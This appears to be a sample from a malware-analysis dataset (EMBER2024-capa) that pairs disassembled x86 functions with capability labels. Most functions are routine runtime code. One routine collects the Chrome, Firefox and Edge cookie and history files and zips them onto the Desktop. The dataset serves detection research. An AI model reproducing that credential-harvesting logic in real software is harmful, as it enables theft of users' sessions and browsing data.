joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002cfc0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov edx, dword [esi + 0xc]
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor ecx, eax
movzx eax, byte [edi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [esi + 0x18]
mov esi, dword [esi + 4]
and ecx, eax
mov eax, dword [edx + ecx*8]
lea ecx, [ecx*8 + 4]
add ecx, edx
mov edx, eax
mov dword [ebp - 4], ecx
cmp edx, esi
jne 0x1002d02a
mov ecx, esi
jmp 0x1002d02e
mov ecx, dword [ecx]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002d055
mov ecx, dword [eax + 8]
cmp ecx, dword [edi]
je 0x1002d040
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
jmp 0x1002d022
cmp eax, esi
je 0x1002d055
pop edi
mov dword [ebx], eax
mov eax, ebx
pop esi
mov byte [ebx + 4], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [esi]
lea eax, [ebp - 4]
push ecx
push eax
push ecx
mov dword [ebp - 4], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.1002d6b0
mov edx, eax
mov ecx, 0x5d1745c
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
sub ecx, eax
cmp ecx, 1
jae 0x1002d089
push str.list_T__too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov ecx, dword [ebp - 8]
inc eax
mov dword [ecx + 8], eax
mov dword [esi + 4], edx
mov dword [edi], edx
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
push ebx
call fcn.1002d270
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1002d0b0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov edx, dword [esi + 0xc]
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor ecx, eax
movzx eax, byte [edi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [esi + 0x18]
mov esi, dword [esi + 4]
and ecx, eax
mov eax, dword [edx + ecx*8]
lea ecx, [ecx*8 + 4]
add ecx, edx
mov edx, eax
mov dword [ebp - 4], ecx
cmp edx, esi
jne 0x1002d11a
mov ecx, esi
jmp 0x1002d11e
mov ecx, dword [ecx]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002d145
mov ecx, dword [eax + 8]
cmp ecx, dword [edi]
je 0x1002d130
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
jmp 0x1002d112
cmp eax, esi
je 0x1002d145
pop edi
mov dword [ebx], eax
mov eax, ebx
pop esi
mov byte [ebx + 4], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [esi]
lea eax, [ebp - 4]
push ecx
push eax
push ecx
mov dword [ebp - 4], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.1002d850
mov edx, eax
mov ecx, 0xaaaaaa9
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
sub ecx, eax
cmp ecx, 1
jae 0x1002d179
push str.list_T__too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov ecx, dword [ebp - 8]
inc eax
mov dword [ecx + 8], eax
mov dword [esi + 4], edx
mov dword [edi], edx
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
push ebx
call fcn.1002d490
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1002d7a0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov edx, ecx
mov ebx, dword [ebp + 8]
movzx eax, byte [edi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 9]
xor ecx, eax
movzx eax, byte [edi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [edx + 0x18]
and ecx, eax
lea esi, [ecx*8]
mov ecx, dword [edx + 0xc]
add ecx, esi
mov eax, dword [ecx]
cmp dword [ecx + 4], edi
jne 0x1002d816
cmp eax, edi
jne 0x1002d80e
mov eax, dword [edx + 4]
mov dword [ecx], eax
mov ecx, dword [edx + 0xc]
mov eax, dword [edx + 4]
mov dword [esi + ecx + 4], eax
jmp 0x1002d81e
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x1002d81e
cmp eax, edi
jne 0x1002d81e
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi + 4]
mov esi, dword [edi]
mov dword [eax], esi
mov ecx, dword [edi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
lea ecx, [edi + 0xc]
dec dword [edx + 8]
call fcn.1002ced0
push 0x2c
push edi
call fcn.1003e156
add esp, 8
mov dword [ebx], esi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1002d880
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
movzx edx, byte [eax + 8]
mov edi, ecx
movzx ecx, byte [eax + 9]
xor edx, 0x811c9dc5
imul edx, edx, 0x1000193
mov ebx, dword [ebp + 8]
xor edx, ecx
movzx ecx, byte [eax + 0xa]
imul edx, edx, 0x1000193
xor edx, ecx
movzx ecx, byte [eax + 0xb]
imul edx, edx, 0x1000193
xor edx, ecx
imul ecx, edx, 0x1000193
mov edx, dword [edi + 0x18]
and edx, ecx
lea esi, [edx*8]
mov edx, dword [edi + 0xc]
add edx, esi
mov ecx, dword [edx]
cmp dword [edx + 4], eax
jne 0x1002d8f7
cmp ecx, eax
jne 0x1002d8ef
mov ecx, dword [edi + 4]
mov dword [edx], ecx
mov edx, dword [edi + 0xc]
mov ecx, dword [edi + 4]
mov dword [esi + edx + 4], ecx
jmp 0x1002d8ff
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
jmp 0x1002d8ff
cmp ecx, eax
jne 0x1002d8ff
mov ecx, dword [eax]
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov esi, dword [eax]
push 0x18
push eax
mov dword [ecx], esi
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
dec dword [edi + 8]
call fcn.1003e156
add esp, 8
mov dword [ebx], esi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1002e150
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1002e17b
push 0
push 0
push 0
push 0x100097f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1002e17b
mov eax, 1
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc
Function at 0x1002e5e0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
movzx eax, byte [esi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 1]
xor ecx, eax
movzx eax, byte [esi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul edx, ecx, 0x1000193
mov ecx, dword [0x1005780c]
and edx, dword [0x10057818]
mov edi, dword [ecx + edx*8]
lea ebx, [ecx + edx*8]
mov edx, dword [0x10057804]
mov eax, edi
cmp edi, edx
jne 0x1002e640
mov ecx, edx
jmp 0x1002e645
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002e658
mov ecx, dword [eax + 8]
cmp ecx, dword [esi]
je 0x1002e654
mov eax, dword [eax]
jmp 0x1002e638
mov ecx, eax
jmp 0x1002e65c
mov eax, edx
mov ecx, edx
cmp ecx, edx
jne 0x1002e6bb
push ecx
mov dword [ebp - 4], esi
lea eax, [ebp - 4]
mov esi, dword [edx]
push eax
push ecx
mov edi, dword [esi + 4]
push edi
push esi
call fcn.1000b3c0
mov edx, eax
mov ecx, 0xffffffe
mov eax, dword [0x10057808]
sub ecx, eax
cmp ecx, 1
jae 0x1002e693
push str.list_T__too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
inc eax
mov ecx, 0x10057800
mov dword [0x10057808], eax
mov dword [esi + 4], edx
mov dword [edi], edx
mov eax, dword [0x10057804]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 8]
push eax
call fcn.1000b1a0
mov eax, dword [ebp - 8]
pop edi
pop esi
add eax, 0xc
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402f60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40f048
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40f040]
sub esp, 4
test ebx, ebx
je 0x402fab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x402fa4
test esi, esi
je 0x402fa4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402f80
mov dword [esp], 0x40f048
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403190
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4031e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4032b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40321e
cmp eax, 4
jne 0x403240
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40322e
cmp edx, 4
je 0x40322e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403190
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x421280]
xor eax, ebp
mov dword [ebp - 4], eax
push section..data
mov eax, dword [ebp + 8]
push eax
call fcn.0040488f
add esp, 8
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jne 0x401048
push str.Error_opening_source_file
call fcn.00404fc5
add esp, 4
push 1
call fcn.00407976
nop
push 0x421020
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0040488f
add esp, 8
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
jne 0x40108c
push str.Error_creating_destination_file
call fcn.00404fc5
add esp, 4
mov edx, dword [ebp - 0x408]
push edx
call fcn.004047a8
add esp, 4
push 1
call fcn.00407976
nop
mov eax, dword [ebp - 0x408]
push eax
push 0x400
push 1
lea ecx, [ebp - 0x404]
push ecx
call fcn.00404a7f
add esp, 0x10
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0
jbe 0x4010d9
mov edx, dword [ebp - 0x40c]
push edx
mov eax, dword [ebp - 0x410]
push eax
push 1
lea ecx, [ebp - 0x404]
push ecx
call fcn.00404e7f
add esp, 0x10
jmp 0x40108c
mov edx, dword [ebp - 0x408]
push edx
call fcn.004047a8
add esp, 4
mov eax, dword [ebp - 0x40c]
push eax
call fcn.004047a8
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004014ae
mov esp, ebp
pop ebp
ret
Function at 0x4011a0
Capabilities:
Gather firefox profile information
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x92c
mov eax, dword [0x421280]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x4011e3
push str.Error_getting_local_app_data_path
call fcn.00404fc5
add esp, 4
mov eax, 1
jmp 0x401385
lea ecx, [ebp - 0x824]
push ecx
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x401213
push str.Error_getting_home_path
call fcn.00404fc5
add esp, 4
mov eax, 1
jmp 0x401385
lea edx, [ebp - 0x108]
push edx
push str._sGoogleChromeUser_DataDefaultCookies
push 0x104
lea eax, [ebp - 0x310]
push eax
call fcn.00401420
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
push str._sGoogleChromeUser_DataDefaultHistory
push 0x104
lea edx, [ebp - 0x20c]
push edx
call fcn.00401420
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
push str._sMozillaFirefoxProfiles_Profile_Folder_cookies.sqlite
push 0x104
lea ecx, [ebp - 0x518]
push ecx
call fcn.00401420
add esp, 0x10
lea edx, [ebp - 0x108]
push edx
push str._sMozillaFirefoxProfiles_Profile_Folder_places.sqlite
push 0x104
lea eax, [ebp - 0x414]
push eax
call fcn.00401420
add esp, 0x10
lea ecx, [ebp - 0x108]
push ecx
push str._sMicrosoftEdgeUser_DataDefaultCookies
push 0x104
lea edx, [ebp - 0x720]
push edx
call fcn.00401420
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
push str._sMicrosoftEdgeUser_DataDefaultHistory
push 0x104
lea ecx, [ebp - 0x61c]
push ecx
call fcn.00401420
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x310]
push eax
push str.chrome
call fcn.00401110
add esp, 0xc
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x518]
push edx
push str.firefox
call fcn.00401110
add esp, 0xc
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x720]
push ecx
push str.edge
call fcn.00401110
add esp, 0xc
lea edx, [ebp - 0x824]
push edx
push str.7z_a__tzip___sDesktop_browser_data.zip__cookies.txt_history.txt
push 0x104
lea eax, [ebp - 0x928]
push eax
call fcn.00401420
add esp, 0x10
lea ecx, [ebp - 0x928]
push ecx
call fcn.00407aa7
add esp, 4
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0xffffffff
jne 0x401376
push str.Error_zipping_files
call fcn.00404fc5
add esp, 4
mov eax, 1
jmp 0x401385
push str.Files_have_been_zipped_and_saved_to_Desktop._n
call fcn.004013e0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004014ae
mov esp, ebp
pop ebp
ret

Function at 0x401cae
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ced
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ced
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ced
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ced
cmp dword [ecx + 0x74], 0xe
jbe 0x401ced
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x409206
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41a638
push 0x41a630
push str.FlsAlloc
push 0x1f
call fcn.004090c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40923a
push dword [ebp + 8]
mov ecx, esi
call dword [0x419134]
call esi
jmp 0x409240
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409284
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41a648
push 0x41a640
push str.FlsGetValue
push 0x21
call fcn.004090c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4092bb
push dword [ebp + 8]
mov ecx, esi
call dword [0x419134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4092c3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41a650
push 0x41a648
push str.FlsSetValue
push 0x22
call fcn.004090c5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4092fd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x419134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40a73b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x422230]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40a77b
cmp byte [ebx], 0xa
jne 0x40a77b
or byte [edi + eax + 0x28], 4
jmp 0x40a780
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40a87f
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40a862
inc eax
cmp dl, 0xd
je 0x40a7ac
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40a7d2
cmp eax, ecx
jae 0x40a7e0
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40a794
jmp 0x40a87f
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40a85d
cmp dword [ebp - 0x10], 0
je 0x40a85d
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x422230]
test byte [eax + edi + 0x28], 0x48
je 0x40a837
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40a822
mov byte [esi], dl
jmp 0x40a833
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x422230]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40a87f
cmp byte [ebp - 1], 0xa
jne 0x40a846
cmp esi, ebx
jne 0x40a846
mov byte [esi], 0xa
jmp 0x40a87e
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00411c86
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40a87f
mov byte [esi], 0xd
jmp 0x40a87e
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x422230]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40a87c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40a87f
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40a888
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x422230]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40a8ce
cmp word [ebx], dx
jne 0x40a8ce
or byte [eax + edi + 0x28], 4
jmp 0x40a8d3
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40aa36
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40aa16
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40a914
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40a94a
cmp eax, edx
jae 0x40a958
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40a8ef
jmp 0x40aa36
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40aa11
cmp dword [ebp - 0x18], 0
je 0x40aa11
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x422230]
test byte [eax + edi + 0x28], 0x48
je 0x40a9e7
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40a9ab
mov word [esi], cx
jmp 0x40a9e2
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x422230]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x422230]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x422230]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40aa36
pop eax
cmp word [ebp - 4], ax
jne 0x40a9f7
cmp esi, ebx
jne 0x40a9f7
mov word [esi], ax
jmp 0x40aa33
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00411c86
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40aa36
push 0xd
pop eax
jmp 0x40a9f2
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x422230]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40aa30
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40aa36
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40f839
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40f8d6
push ebx
push esi
call fcn.0040f802
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040f796
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40f883
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40f8d5
push edi
push eax
call fcn.0040c51a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40f8a3
call fcn.00408f58
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40f8d4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040f796
add esp, 0x20
test eax, eax
jne 0x40f8c2
push edi
call fcn.00408f58
jmp 0x40f8ca
push ebx
call fcn.00408f58
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret